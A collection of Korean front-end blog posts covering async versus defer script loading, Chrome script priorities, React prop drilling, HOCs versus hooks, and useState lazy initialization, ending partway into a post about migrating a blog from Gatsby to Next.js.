웹사이트의 렌더링 성능을 최적화하면서, 가장 중점적으로 살펴봐야 할 것은 렌더링을 막는 자바스크립트 실행이다. 그런데 종종, 블로킹 자바스크립트의 원인이 `async` 태그라는 것을 발견하게 되다. 많은 사람들이 async가 렌더링을 막지 않는다고 생각한다. 그러나 슬프게도, 그렇지 않다. async 태그는 렌더링을 블로킹할 뿐만아니라, 스크립트를 동기로 실행하는 것을 막을 수도 있다. 추정컨데, 동기식으로 만든 스크립트는 페이지에 중요한 컨텐츠 이므로, 이를 지연시키는 것은 사용자 경험에 안좋은 영향을 미친다.

이번 글에서는 `defer`가 `async` 보다 더 기본적으로 선택해야할 것인지를 알아본다.

## 병렬화는 성능에 중요하다.

아마도 실제 웹 성능 향상에 가장 중요하게 영향을 미친 것 중 하나는, 스크립트 다운로드를 병렬로 다운로드 받는 것이다. 2006년 이전에는, 브라우저는 모든 외부 스크립트를 순서대로 받았다.

```html
<script src="aphid.js"></script>
<script src="bmovie.js"></script>
<script src="seaserpent.js"></script>
<img src="deejay.gif" />
<img src="elope.gif" />
```

이런 페이지가 있다고 하면, 아래와 같은 순서로 실행된다.

```bash
aphid.js        ====xxx
bmovie.js              =====xx
seaserpent.js                 =====xx
deejay.gif                           =====
elope.gif                            =====
DOM Interactive                      *
image render                              *
```

여기서 `==`는 다운로드하는 작업을 의미하고, `xx`는 스크립트 파싱과 실행을 의미한다. DOM interactive는 브라우저가 HTML 구문 분석을 완효한 후에 실행된다.

이러한 접근 방식에는 많은 비효율이 존재한다. 스크립트는 뭐 순차적으로 실행될 순 있지만, 다운로드는 병렬로 진행할 수 있다. 또한 스크립트가 이미지와 같은 비 스크립트 리소스를 차단할 필요도 없다.

IE8을 필두로 많은 브라우저가 스크립트를 병렬로 다운로드 할 수 있는 `preloader`개념을 도입하기 시작했다. 이로 인해 페이지 속도가 엄청나게 빨라졌다.

```bash
aphid.js        ====xxx
bmovie.js       =====  xx
seaserpent.js   =====    xx
deejay.gif      =====
elope.gif       =====
DOM Interactive            *
image render               *
```

`preloader`를 활용하여 모든 리소스가 병렬로 다운로드 되는 것을 볼 수 있다. 여전히 DOM interactive는 세 리소스를 기다려야 하지만, 이전에 비해서 훨씬더 빠르게 동작하는 것을 볼 수 있다.

## 동기 스크립트는 HTML 구문 분석을 차단한다.

preloader는 동기식 스크립트가 다른 리소스의 다운로드를 차단하지 않도록 변경하여 웹 성능을 향상시켰다. 그러나 동기 스크립트는 여전히 HTML 구문 분석을 차단한다. HTML 구문 분석이 `<script/>` 태그에 도달하면 해당 스크립트가 다운로드되고, 구문 분석이 실행 될 때까지 중지된다. HTML 파서가 차단되면 사용가자 페이지의 컨텐츠를 보기 위해 기다려야 한다. 이러한 이유로 인해 앞선 예제에서, 이미지가 다 다운로드 되었음에도 나중에 보여지게 된다.

동기스크립트가 HTML 분석을 차단하는 것을 막기 위해, 개발자들은 스크립트를 비동기적으로 로드하는 방법을 찾기 시작했다. 모든 스크립트가 비동기로 동작할 필요는 없다. 페이지 렌더링에 있어서 중요한 스크립트는 동기적으로 로딩되어야 한다. 그러나 중요한 렌더링 이외의 요소는 비동기적으로도 할 수 있다. 2009년 이전에는 이런 것을 처리하기 위한 [꼼수](https://www.stevesouders.com/blog/2009/04/27/loading-scripts-without-blocking/)가 존재했다. 그리고, HTML에 async와 defer가 추가되었다.

## async와 defer

async와 defer는 HTML 파서를 차단하지 않고 스크립트를 로드할 수 있다는 점에서 유사하다. 즉, 둘다 사용자는 페이지를 더 빨리 볼 수 있다. 그러나 여기에 차이점이 존재한다.

- `async`로 로드된 스크립트는 다운로드가 완료되면 즉시 구문 분석을 하고 실행된다. 그에 반해 `defer`는 HTML 문서가 파싱되기 전까지 실행되지 않는다.
- `async`는 순서없이 로드가 가능하지만 `defer`는 마크업 순서대로 로딩된다.

### async

```html
<script async src="aphid.js"></script>
<script src="bmovie.js"></script>
<script src="seaserpent.js"></script>
<img src="deejay.gif" />
<img src="elope.gif" />
```

```bash
aphid.js        ====xxx
bmovie.js       =====  xx
seaserpent.js   =====    xx
deejay.gif      =====
elope.gif       =====
DOM Interactive            *
image render               *
```

`aphid`가 async였지만, 다운로드가 먼저 되었기 때문에 다른 스크립트 실행을 차단하고 먼저 실행되었다. 다시말해, `async`는 다운로드 된 뒤에 모든 동기 스크립트 실행을 차단해 버린다.

### defer

```html
<script defer src="aphid.js"></script>
<script src="bmovie.js"></script>
<script src="seaserpent.js"></script>
<img src="deejay.gif" />
<img src="elope.gif" />
```

```text
aphid.js        ====     xxx
bmovie.js       =====xx
seaserpent.js   =====  xx
deejay.gif      =====
elope.gif       =====
DOM Interactive          *
image render             *
```

defer는 DOM이 상호작용이 가능해지는 시점에 실행된다. defer는 다운로드가 먼저 되었음에도 다른 동기 스크립트가 실행된 이후에 실행된 것을 볼 수 있다.

## defer를 더 선호해야하는 이유

`defer`는 항상 `async`와 동시에, 또는 그 이후에 스크립트 실행을 발생시킨다. 아마도 스크립트 중에서도 덜 중요한 것들을 `defer`나 `async`로 만들 것이다. 따라서 기본 렌더링 시간 외에 실행 될 수 있도록 `defer`로 하는 것이 좋다. `defer`는 동기 스크립트를 차단할 수 없지만, `async`는 스크립트 다운로드에 따라 차단할 수도 있다. 동기 스크립트는 일반적으로 페이지에서 중요한 내용을 담고 있으므로, 다른 작업이 방해하지 않도록 `defer`를 쓰는 것이 좋다.

이러한 잘못된 최적화의 예는 종종 찾아볼 수 있다. [예전 인스타그램 웹페이지 테스트 결과](https://www.webpagetest.org/result/161204_ZY_9a82d23e52565194cb985a10cf8d5465/2/details/)를 한번 살펴보자. 4번째 스크립트가 `async`로 로딩되는 것을 볼 수 있다. 그리고 [Timeline](https://www.webpagetest.org/chrome/timeline.php?test=161204_ZY_9a82d23e52565194cb985a10cf8d5465&run=2)을 살펴보면, 이 스크립트가 다른 스크립트 보다 0.6초정도 먼저 (c0456c81549b.js) 실행되서 다른 스크립트를 블록했다.

반대로 yelp의 [웹 페이지 테스트결과](https://www.webpagetest.org/result/161206_RP_DBM/3/details/)를 보자. 두번째 스크립트가 defer로 로딩되어있는데, 다운로드가 된 이후에 실행은 `DOM Content Loaded` 이후에 이루어졌다. 따라서 다른 동기스크립트가 먼저 로딩 되었고, 렌더링이 더 빨리 이루어졌다.

## 결론

결론은 DOM Interactive 까지 defer 스크립트 실행을 지연하는 것과는 다르게, async는 다운로드가 빨리 되서 실행이 먼저되버리고, 다른 스크립트 분석을 멈춰버리게 하는 위험성을 가지고 있다는 것이다. 따라서, DOM Interative 시간을 아는 것이 굉장히 중요하다. [Alexa Top 100](https://www.alexa.com/topsites)에 따르면 2016년 11월 기준 DOM interactive의 중앙값은 2.1초이지만, 하위 95%의 경우에는 11.2초이다. 이정도 값이면, async 스크립트가 DOM Interative 이전에 다운로드를 마치고, 페이지 렌더링을 방해하고 있는지 합리적으로 의심해 볼법하다.

스크립트에서 async를 사용하면, defer로 바꿔서 렌더링이 더 빨리 되는지 확인해보자.

출처: https://calendar.perfplanet.com/2016/prefer-defer-over-async/

---

Source: https://yceffort.kr/2020/10/javascript-priorities.md
Title: 크롬에서 자바스크립트 로딩 순서
Description: 크롬에서 자바스크립트를 로딩하는 순서
Date: 2020-10-20
Tags: web-performance, javascript, browser

브라우저가 어떻게 스크립트를 스케쥴링 하고 실행하느냐에 따라서 웹페이지 성능에 큰 영향을 미친다. `<script defer />` `<link rel=preload>` 등등 스크립트 로딩에 영향을 미치는 다양한 기술들이 있으며 이러한 기술을 브라우저에서 어떤 순서로 처리하는지 이해하는 것도 중요하다.

### Table of Contents

### `<head />` 안에 있는 `<script />`

#### 로딩 우선 순위

중간, 높음

#### 실행 우선 순위

매우높음, 파서 실행을 멈춤

### 사용처

- First Meaningful Paint, First Contentful Paint 컨텐츠
- 다른 스크립트 이전에 실행해야 되는 스크립트

#### 예

- 프레임워크 런타임 (정적 렌더링이 아닌 경우)
- 폴리필
- 전체 페이지 DOM 구조에 영향을 미치는 A/B 테스트

### `<link rel=preload` + `<script async>` 또는 `<script type=module async />`

#### 로딩 우선 순위

중간, 높음

#### 실행 우선 순위

높음, 파서 실행을 방해함

#### 사용처

- 중요한 컨텐츠를 만드는 스크립트 (First Meaningful Paint)
- 그러나 페이지 상단 (above-the-fold)에는 영향을 미치지 않는 요소
- 동적으로 컨텐츠를 넣기 위해 네트워크 fetch를 실행하는 스크립트
- imports한 요소들이 모두 fetch된 이후 즉시 실행되어야 하는 스크립트는, `<script async type=module />`

#### 예

- `<canvas />` 에 그려야 하는 것

### `<script async />`

#### 로딩 우선 순위

제일 낮음, 낮음

#### 실행 우선 순위

높음, 파서를 방해함

#### 사용처

사용할 때 주의 해야 한다. (https://calendar.perfplanet.com/2016/prefer-defer-over-async/) 요즘 들어 중요하지 않은 스크립트를 로딩 할 때 많이 사용하고 있지만, 로딩 우선순위만 낮을 뿐 실행 우선순위는 높다는 것을 기억해야 한다.

### `<script defer />`

#### 로딩 우선 순위

제일 낮음, 낮음

#### 실행 우선 순위

매우 낮음, `<body />` 최하단에 있는 `<script />`가 실행된 이후에 실행

#### 사용처

- 중요하지 않은 컨텐츠를 만드는 스크립트
- 페이지 방문자의 50% 이상정도가 사용하는 중요한 상호작용 기능

#### 예

- 광고
- 프레임 워크 런타임 (클라이언트 또는 서버사이드 렌더링)

### `<body />` 최하단에 있는 `<script />`

#### 로딩 우선 순위

중간, 높음

#### 실행 우선 순위

낮음, 파서의 작업이 끝나기를 기다림

#### 사용처

이 방법은 생각만큼 낮은 우선순위로 실행되지 않는다.

### `<body />` 최하단에 있는 `<script defer />`

#### 로딩 우선 순위

가장 낮음, 낮음, 큐의 모든 작업이 끝난 후에 실행됨.

#### 실행 우선 순위

매우 낮음. `<body />` 최하단에 있는 `<script />` 보다도 낮음.

#### 사용처

- 사용자들이 가끔 사용하는 상호작용 기능

#### 예

- '연관된 기사들' 같은 컨텐츠 (중요도가 낮은)
- '피드백을 주세요' 같은 기능들 (역시 중요도가 낮은)

### `<link rel=prefetch />` + `<script/>`

#### 로딩 우선 순위

작업이 없을 때, 가장낮음

#### 실행 우선 순위

스크립트가 어떻게 작동하느냐에 따라 다름.

#### 사용처

다음 페이지 탐색을 위한 중요한 기능을 제공하는 스크립트

#### 예

- 다음 라우팅을 위한 자바스크립트 번들

### 마치며

- 브라우저 별로 동작이 통일되어 있지 않으므로 사용할 때 주의를 필요로 한다.
- 크롬에서 스크립트 우선순위를 알아내기 위해서는 네트워크 탭에서 Priority를 보면된다.

![priorities](https://addyosmani.com/assets/images/tweet-priorities@3x.png)

출처: https://addyosmani.com/blog/script-priorities/

---

Source: https://yceffort.kr/2020/10/react-prop-drilling-may-slow-down.md
Title: Prop drilling 해결을 위해 context를 사용하기 전에 구조를 생각해보자.
Description: 처음부터 구조를 잘 생각해 둔다면 성능상 에 이점을 가져갈 수 있다.
Date: 2020-10-19
Tags: react

리액트로 웹페이지를 만들때, 최대한 작은 단위로 쪼개서 이를 개별 컴포넌트로 만들고 조립하는 방식을 택한다. 그런 방식을 택하다 보면, 십중 팔구 아래와 같은 구조로 구성하게 된다.

```javascript
function App() {
  return (
    <div>
      <MainNav />
      <Homepage />
    </div>
  )
}
function MainNav() {
  return (
    <div>
      <GitHubLogo />
      <SiteSearch />
      <NavLinks />
      <NotificationBell />
      <CreateDropdown />
      <ProfileDropdown />
    </div>
  )
}
function Homepage() {
  return (
    <div>
      <LeftNav />
      <CenterContent />
      <RightContent />
    </div>
  )
}
function LeftNav() {
  return (
    <div>
      <DashboardDropdown />
      <Repositories />
      <Teams />
    </div>
  )
}
function CenterContent() {
  return (
    <div>
      <RecentActivity />
      <AllActivity />
    </div>
  )
}
function RightContent() {
  return (
    <div>
      <Notices />
      <ExploreRepos />
    </div>
  )
}
```

위 구조는 실제 깃헙 홈페이지를 React로 구성한다고 했을 때의 모습이다. 매우 일반적인 구조고, 작동하는데 문제는 없지만, 아래와 같은 구조를 사용해본다면 어떨까?

```javascript
function App() {
  return (
    <div>
      <MainNav>
        <GitHubLogo />
        <SiteSearch />
        <NavLinks />
        <NotificationBell />
        <CreateDropdown />
        <ProfileDropdown />
      </MainNav>
      <Homepage
        leftNav={
          <LeftNav>
            <DashboardDropdown />
            <Repositories />
            <Teams />
          </LeftNav>
        }
        centerContent={
          <CenterContent>
            <RecentActivity />
            <AllActivity />
          </CenterContent>
        }
        rightContent={
          <RightContent>
            <Notices />
            <ExploreRepos />
          </RightContent>
        }
      />
    </div>
  )
}
function MainNav({children}) {
  return <div>{children}</div>
}
function Homepage({leftNav, centerContent, rightContent}) {
  return (
    <div>
      {leftNav}
      {centerContent}
      {rightContent}
    </div>
  )
}
function LeftNav({children}) {
  return <div>{children}</div>
}
function CenterContent({children}) {
  return <div>{children}</div>
}
function RightContent({children}) {
  return <div>{children}</div>
}
```

이렇게 코드를 바꾼 구조적인 아이디어는, 대부분의 구성요소가 단순히 레이아웃만 담당한다는 것이다. 이들은 상태를 스스로 관리하기 위해 무언가 일을 하는 코드는 적고 (물론 자체적인 상태관리가 필요할 수도 있지만) 단순히 상태를 받아서 이를 나타나야 하는 페이지에 표시하는 역할만 한다.

만약 첫번째 예제와 같은 구조를 가지고 있다면, `prop-drilling`이 발생하게 된다. `<App/>` 에서 `<HomePage />`로 다시, `<CenterContent />`에서 `<AllActivity />`로 가는 등, prop을 넘기고 넘기는 과정이 반복된다. 이런 구조를 보게 되면 사람들은 아마도 React API인 `context` 를 사용하여 해결하려 할 것이다. 하지만 그러기 전에, 좀더 간단하게 생각해볼 필요가 있다. 자체적인 상태관리가 필요없고, 단순히 레이아웃인 컴포넌트라면 `prop`을 직접적으로 넘기면 된다. `<App />` 에서 `<AllActivity/>`로.

너무 많은 사람들이 `prop-drilling`에서 `context`로 섣불리 넘어가버리려고 한다. 더 많은 컴포넌트를 염두에 두고, 구성요소를 구조화 한다면 더 유지 보수가 쉬워지고, 성능및 관리 문제가 줄어들 것이다.

출처: https://epicreact.dev/one-react-mistake-thats-slowing-you-down

---

Source: https://yceffort.kr/2020/10/react-hooks-and-hocs.md
Title: 리액트의 Hooks과 HOC, HOC의 사용이 복잡해지는 경우
Description: HOC는 좋지만, hooks을 사용하는 습관을 기르자.
Date: 2020-10-19
Tags: react

요즘 대부분의 리액트 코드는 함수형 컴포넌트와 리액트 hooks의 조합으로 개발된다. 그러나 여전히 [higher-order components(이하 HOC)](https://ko.reactjs.org/docs/higher-order-components.html)는 클래스형, 그리고 함수형 모두에 적용할 수 있다. 따라서 HOC는 레거시와 모던한 리액트 컴포넌트 사이에서 재사용 가능성을 높이며 쓸 수 있는 훌륭한 다리 역할을 하고 있다.

그러나 때때로 HOC의 사용은 자제해야하며, 몇몇 문제들은 hooks만으로도 해결할 수 있다.

## HOC와 HOOKS: Prop에서 오는 혼동

조건부 렌더링 기능을 적용하기 위해 HOC를 사용한다고 가정해보자.

```javascript
import * as React from 'react'

const withError = (Component) => (props) => {
  if (props.error) {
    return <div>Something went wrong ...</div>
  }

  return <Component {...props} />
}

export default withError
```

에러가 없는 경우, HOC가 어떻게 모든 props를 넘기는지 보자. 에러가 없는 경우에 정상적으로 작동할 것이지만, 다음 컴포넌트에 전달해야 하는 props 들이 굉장히 많으며, 이 props를 모두 신경쓰기는 어렵다.

```javascript
import * as React from 'react'

const withError =
  (Component) =>
  ({error, ...rest}) => {
    if (error) {
      return <div>Something went wrong ...</div>
    }

    return <Component {...rest} />
  }

export default withError
```

위 코드 또한 `error` prop을 제거하고도 정상적으로 작동한다. 그러나 위 버전 또한 HOC를 사용하는 경우 오는 Props의 혼동을 피할 수는 없다. 전개 연산자를 사용하여 HOC에 props를 넘겨주었지만, 이 props들이 어디에 필요한지 명확히 하기가 굉장히 어렵다.

이는 HOC의 첫번째 약점이다. HOC가 어떤 컴포넌드들과 합성되어 있는지 빠르게 알 수 없기 때문에, 어떤 컴포넌에 어떤 것을 넘겨야 할지 예측이 어렵다. 예를 들어, loading 인디케이터가 있는 HOC를 하나더 만들어 보자.

```javascript
import * as React from 'react'

const withLoading =
  (Component) =>
  ({isLoading, ...rest}) => {
    if (isLoading) {
      return <div>Loading ...</div>
    }

    return <Component {...rest} />
  }

export default withLoading
```

이제 두개의 HOC를 사용해야 한다면, 아래와 같이 써야할 것이다.

```javascript
const DataTableWithFeedback = compose(
  withError,
  withLoading,
)(DataTable);

const App = () => {
  ...

  return (
    <DataTableWithFeedback
      columns={columns}
      data={data}
      error={error}
      isLoading={isLoading}
    />
  );
};
```

HOC에 대해 세세히 알고 있지 않다면, 어떤 props가 어떤 HOC에 넘어가는지 알수 없다. 한단계 더 나아가 이제 데이터를 가져오는 HOC까지 있다고 가정해보자.

```javascript
const DataTableWithFeedback = compose(
 withFetch,
 withError,
 withLoading,
)(DataTable);

const App = () => {
 ...

 const url = 'https://api.mydomain/mydata';

 return (
   <DataTableWithFeedback
     url={url}
     columns={columns}
   />
 );
};
```

갑자기 `withFetch`를 사용하면서 `error`와 `isLoading`이 필요 없게 되었다. 정확히는, 아래와 같이 props가 흘러가게 된다.

```bash

App     withFetch   withError   withLoading   DataTable

        data->      data->      data->        data
url->   error->     error
        isLoading-> isLoading-> isLoading
```

`withFetch`는 내부적으로 `error`와 `isLoading`을 처리하고, 이를 위해 `withLoading`과 `withError`를 필요로 하게 된다. 이에 대한 이해가 부족할 경우 버그를 만들어낼 가능성이 존재한다.

결과적으로, HOC를 통해서 넘어가는 props는 블랙박스로 남게 되어 이를 이해하기 위해서는 꽤나 많은 주의를 기울여야 한다. HOC에 대한 자세한 이해가 없이는, HOC 들 사이에서 무슨일이 일어나고 있는지 알기 어렵다.

반면에 리액트 hook 에서는 어떻게 처리하는지 살펴보자.

```javascript
const App = () => {
  const url = 'https://api.mydomain/mydata'
  const {data, isLoading, error} = useFetch(url)

  if (error) {
    return <div>Something went wrong ...</div>
  }

  if (isLoading) {
    return <div>Loading ...</div>
  }

  return <DataTable columns={columns} data={data} />
}
```

리액트 hooks을 사용하면, 블랙박스 안으로 들어가는 `url`과 이를 통해 나오게 되는 `data`, `isLoading`, `error`를 모두 볼수 있다. `useFetch`가 어떻게 구현되어 있는지는 몰라도, 이 함수를 통해 들어가는 input과 output을 명확하게 볼 수 있다. `useFetch`가 다른 HOC와 같이 블랙박스처럼 취급 된다하더라도, 복잡했던 HOC와는 다르게 단 한줄로 모든 것을 표현하고 있다. 그러나 HOC를 합성해서 사용하는 경우 input과 output이 명확하지 않았다.

## HOC와 HOOKS: 이름 간의 충돌

만약 컴포넌트에서 두개의 prop이 사용된다면, 후자가 전자를 엎어버리게 된다. (그전에 에러가 나겠지만)

```javascript
<Headline text="Hello World" text="Hello React" />
```

만약 HOC에서 다음과 같은 일이 벌어진다면 어떻게 될까?

```javascript
const UserWithData = compose(
  withFetch,
  withFetch,
  withError,
  withLoading,
)(User);

const App = () => {
  ...

  const userId = '1';

  return (
    <UserWithData
      url={`https://api.mydomain/user/${userId}`}
      url={`https://api.mydomain/user/${userId}/profile`}
    />
  );
};
```

위 예제는 두 번의 fetch를 위해서 HOC를 합성한 예제다. 그러나 앞서 언급한 것처럼, 동일한 prop이 존재한다면 후자만 유효하게 된다. 이를 위해서, `withFetch`의 `url`을 배열로 만들었다고 가정해보자. 그렇다고해서 문제가 해결되는 것이 아니다.

- 모든 요청이 끝났을 때 `loading` 인디케이터가 사라져야 하는가?
- 하나만 실패해도 에러 페이지를 보여줘야 하는가?
- 만약 한 요청이 다른 요청에 의존하면 어떻게 되는가?

이 문제를 HOOKS로 풀어보도록 하자.

```javascript
const App = () => {
  const userId = '1';

  const {
    data: userData,
    isLoading: userIsLoading,
    error: userError
  } = useFetch(`https://api.mydomain/user/${userId}`);

  const {
    data: userProfileData,
    isLoading: userProfileIsLoading,
    error: userProfileError
  } = useFetch(`https://api.mydomain/user/${userId}/profile`);

  if (userError || userProfileError) {
    return <div>Something went wrong ...</div>;
  }

  if (userIsLoading) {
    return <div>User is loading ...</div>;
  }

  const userProfile = userProfileIsLoading
    ? <div>User profile is loading ...</div>
    : <UserProfile userProfile={userProfileData} />;

  return (
    <User
      user={userData}>
      userProfile={userProfile}
    />
  );
};
```

앞선 HOC 예제에 비해 복잡도도 줄어들고, 조건별로 처리할 수 있는 여지도 많아졌다.

HOC를 사용할 때는, 내부적으로 같은 prop 명을 사용하고 있는 컴포넌트가 있는지 조심해야 한다.

## HOC와 HOOKS: 의존성

HOC는 강력하지만, 때로는 너무 강력할 때가 있다. HOC는 부모로 부터 props를 받거나, 혹은 컴포넌트 내부에서 처리하는 방법으로 변수를 받을 수 있다. 아래 예제를 살펴보자.

```javascript
const withLoading =
  ({loadingText}) =>
  (Component) =>
  ({isLoading, ...rest}) => {
    if (isLoading) {
      return <div>{loadingText ? loadingText : 'Loading ...'}</div>
    }

    return <Component {...rest} />
  }

const withError =
  ({errorText}) =>
  (Component) =>
  ({error, ...rest}) => {
    if (error) {
      return <div>{errorText ? errorText : 'Something went wrong ...'}</div>
    }

    return <Component {...rest} />
  }
```

```javascript
const DataTableWithFeedback = compose(
  withError({ errorText: 'The data did not load' }),
  withLoading({ loadingText: 'The data is loading ...' }),
)(DataTable);

const App = () => {
  ...

  return (
    <DataTableWithFeedback
      columns={columns}
      data={data}
      error={error}
      isLoading={isLoading}
    />
  );
};
```

`errorText`와 `loadingText`를 각각 받아서, 에러와 로딩 문구를 커스터마이징 할 수 있도록 처리했다. 그러나 이제 props를 받는 곳이 한군데 가 더 늘어나서 혼란이 가중되었다. 만약 여기에서, `userId` 까지 필요하다면 어떻게 될까?

```javascript
const UserWithData = compose(
  withFetch(props => `https://api.mydomain/user/${props.userId}`),
  withFetch(props => `https://api.mydomain/user/${props.userId}/profile`),
)(User);

const App = () => {
  ...

  const userId = '1';

  return (
    <UserWithData
      userId={userId}
      columns={columns}
    />
  );
};
```

만약 여기서 더 나아가 두번째 요청이 첫번째 요청에 의존적이라고 한다면 어떻게 될끼?

```javascript
const UserProfileWithData = compose(
  withFetch(props => `https://api.mydomain/users/${props.userId}`),
  withFetch(props => `https://api.mydomain/profile/${props.profileId}`),
)(UserProfile);

const App = () => {
  ...

  const userId = '1';

  return (
    <UserProfileWithData
      columns={columns}
      userId={userId}
    />
  );
};
```

HOC간에 강한 연결을 만들어 문제를 해결했지만, HOC간에 강결합을 통해서 문제를 해결하는 것은 굉장히 어렵고 혼란이 가중된다.

그러나 Hooks을 쓰면 더 쉽게 해결할 수 있다.

```javascript
const App = () => {
  const userId = '1';

  const {
    data: userData,
    isLoading: userIsLoading,
    error: userError
  } = useFetch(`https://api.mydomain/user/${userId}`);

  const profileId = userData?.profileId;

  const {
    data: userProfileData,
    isLoading: userProfileIsLoading,
    error: userProfileError
  } = useFetch(`https://api.mydomain/user/${profileId}/profile`);

  if (userError || userProfileError) {
    return <div>Something went wrong ...</div>;
  }

  if (userIsLoading || userProfileIsLoading) {
    return <div>Is loading ...</div>;
  }

  return (
    <User
      user={userData}>
      userProfile={userProfileData}
    />
  );
};
```

Hook은 오직 함수형 컴포넌트에서만 직접적으로 쓰이기 때문에, 데이터를 넘기기 유용하다. 또한 블랙박스가 존재하지 않고, custom hook간에 데이터를 넘기는 것 또한 명확하게 볼 수 있다. 의존성이 있는 경우에는, hook을 쓰는 것이 더 코드에 많은 이점을 가져올 수 있다.

---

Source: https://yceffort.kr/2020/10/IIFE-on-use-state-of-react.md
Title: 리액트의 useState와 lazy initialization
Description: 리액트 최적화의 길은 멀고도 험하다
Date: 2020-10-18
Tags: react

흔히 쓰고 있는 `useState`를 다시 살펴보자.

```javascript
const [count, setCount] = useState(
  Number.parseInt(window.localStorage.getItem(cacheKey)),
)
```

```javascript
const [count, setCount] = useState(() =>
  Number.parseInt(window.localStorage.getItem(cacheKey)),
)
```

두 코드의 차이는, useState에 직접 변수를 넣는가와 즉시실행 화살표 함수를 넣느냐의 차이다.

`useState`에 직접적인 값 대신에 함수를 넘기는 것을 [게으른 초기화(lazy)](https://reactjs.org/docs/hooks-reference.html#lazy-initial-state)라고 한다. react 공식 문서에서는, 이러한 게으른 초기화를 초기 값이 복잡한 연산을 포함할 때 사용하라고 되어 있다. 게으른 초기화 함수는 **오직 state가 처음 만들어 질 때만 실행된다.** 이 후에 다시 리렌더링이 된다면, 이 함수의 실행은 무시된다.

다시 말해, `useState`는 그 함수가 처음 렌더링 될 때 작동하며, 이는 `count` state의 초기값을 만든다. `setCount`가 실행되면, 전체 함수가 다시 실행되며, `count`의 값을 업데이트 한다. 이는 `count`의 값이 변경될 때 마다 리 렌더링을 발생시킨다. 다시말해, 이 초기 값은 다시 쓰일 일이 없게 된다.

따라서, 리 렌더링이 발생할 때 마다 `localStorage`의 값을 읽지만, 오직 우리는 딱 최초 렌더링 시에만 해당 값이 필요하므로, 이는 필요없는 계산을 계속해서 하게 되는 것이다. 두 번째 예제에서는 게으른 초기화를 하기 때문에 불필요한 계산을 막게된다.

말이 조금 어렵다면, 아래 예제를 살펴보자.

예제1

```javascript
const Counter = () => {
  const initialValue = Number.parseInt(window.localStorage.getItem(cacheKey))
  const [count, setCount] = useState(initialValue)
  // ...
```

이제 매번 리렌더링 하여 `Counter`함수가 호출 될 때 마다, `localStorage`의 값을 계속해서 가져오는 것을 볼 수 있다.

예제2

```javascript
// Example 2
const Counter = () => {
  const [count, setCount] = useState(function() {
    return Number.parseInt(window.localStorage.getItem(cacheKey)),
  })

  // ...
}
```

이 더분째 예제에서는 이전 예제와는 다르게 딱 한번 초기화 할 때 한 번만 우리가 원하는 대로 호출하는 것을 볼 수 있다.

그렇다면 모든 값들을 게으른 초기화로 처리하면 어떨까?

```javascript
// 원시 값 리턴
const Counter = () => {
  const [count, setCount] = useState(() => 0)

  // ...
}
```

```javascript
// prop 또는 이미 존재하는 변수의 값을 리턴
const Counter = ({initialCount}) => {
  const [count, setCount] = useState(() => initialCount)

  // ...
}
```

각각 초기 값이 간단한 값이거나 이미 계산된 값인 경우이다. 비록 함수가 게으른 초기화로 인해 한번만 호출되지만, 여전히 함수를 만드는 비용이 존재한다. 그리고 함수를 만드는 비용이 보통 변수를 생성하거나 단순히 값을 넘기는 비용보다는 크다. 이는 과한 최적화의 예다.

그렇다면 언제 게으른 최적화를 써야할까? 이는 상황에 따라 다르다. 문서에서는 '비싼 비용의 계산' 이 필요할 때 쓰라고 되어있다. 앞선 예와 같이 `localStorage` 의 접근, `map`, `filter`,`find` 등의 배열을 조작하는 것들이 그 예가 될 수 있다. 일반적으로, 함수를 통해서 값을 구해야한다면, 이는 비싼 비용이 드는 계산이며, 게으른 초기화를 하는게 좋을 수도 있다. `new Date()`도 마찬가지로.

---

Source: https://yceffort.kr/2020/10/migrate-gatsby-from-nextjs.md
Title: 블로그 gatsby에서 nextjs로 옮긴 이야기
Description: 어영부영했지만 보람은 있었다
Date: 2020-10-16
Tags: nextjs, react

## Table of Contents

예전부터 블로그는 내가 직접 만든 적이 없고, 사람들이 만들어 놓은 템플릿에 마크다운만 얹는 식으로 운영했었다. 그러다 보니 무언가 수정이 필요할 때 마다 코드를 잘모르니 땜빵식으로 수정하게 되고, 블로그에 대한 애정도 부족하지 않았나 싶다.

## 1. 나는 왜 Next.js로 갔나

이전까지 쓰던 블로그는 static site generator로 Gatsby 기반으로 운영되고 있었는데, 나 뿐 만 아니라 많은 사람들이 여러가지로 불편함을 느끼고 있는 분위기 였다. 🤔

https://cra.mr/an-honest-review-of-gatsby/

https://jaredpalmer.com/gatsby-vs-nextjs

나의 경험과 섞어서 gatsby가 안좋았던 경험을 이야기 하자면

- 정적 사이트를 만들 뿐인데 GraphQL은 너무 무겁고 쓸모가 없다. 개인적으로 블로그 운영하면서도 써본적이 없다.
- gatsby만의 생태계, gatsby-plugin-\*\*\*에 너무 의존적이다. 버그가 있어도 수정이 어렵고, 대부분의 플러그인이 관리도 잘 안되고 있었다.
- 디버깅이 어려웠다. Gatsby 내부의 graphql 및 webpack 등등으로 인해 추상화가 있는대로 되어 있어서 디버깅 하기가 정말 쉽지 않았다.
- GraphQL, 그리고 마크다운과 혼재되어 있는 이미지 빌드 등 각종 작업으로 인해 빌드가 너무 오래 걸렸다. (그래서 대부분의 경우에 나는 빌드 결과를 확인하지 않고 머지했다.)

## 2. 스펙

기존 개발 스택은 아래와 같다.

- gatsby
- graphql
- react
- javascript
- flow
- SCSS

바뀐 개발 스택은 아래와 같다.

- nextjs
- remark
- rehype
- react
- typescript
- styled component

굳이 혼자 쓰는 프로젝트에 타입스크립트가 필요가 있겠냐만은, 이제 자바스크립트 생태계 자체가 많이 타입스크립트 쪽으로 기우는 것 같아서 함께 썼다.

마크다운을 HTML로 만들기 위해 `remark`와 `rehype`를 썼고, `SCSS`는 그냥 별로 안좋아해서 (내 jsx 에 클래스명이 덕지덕기 붙어있는게 너무 보기 힘들다) `styled component`로 넘어갔다.

## 2. 이사 과정

### 1) nextjs

nextjs에서 정적 사이트를 만들기 위해서 중요한 것은 `getStaticProps` 와 `getStaticPaths`다.

https://yceffort.kr/2020/03/nextjs-02-data-fetching#2-getstaticprops

https://yceffort.kr/2020/03/nextjs-02-data-fetching#3-getstaticpaths

`getStaticPaths`는 빌드시에 가능한 다이나믹 path를 결정하고, `getStaticProps`는 페이지 로딩 시에 서버사이드에서 내려올 props를 결정한다.

### 2) 마크다운 파일 읽어오기

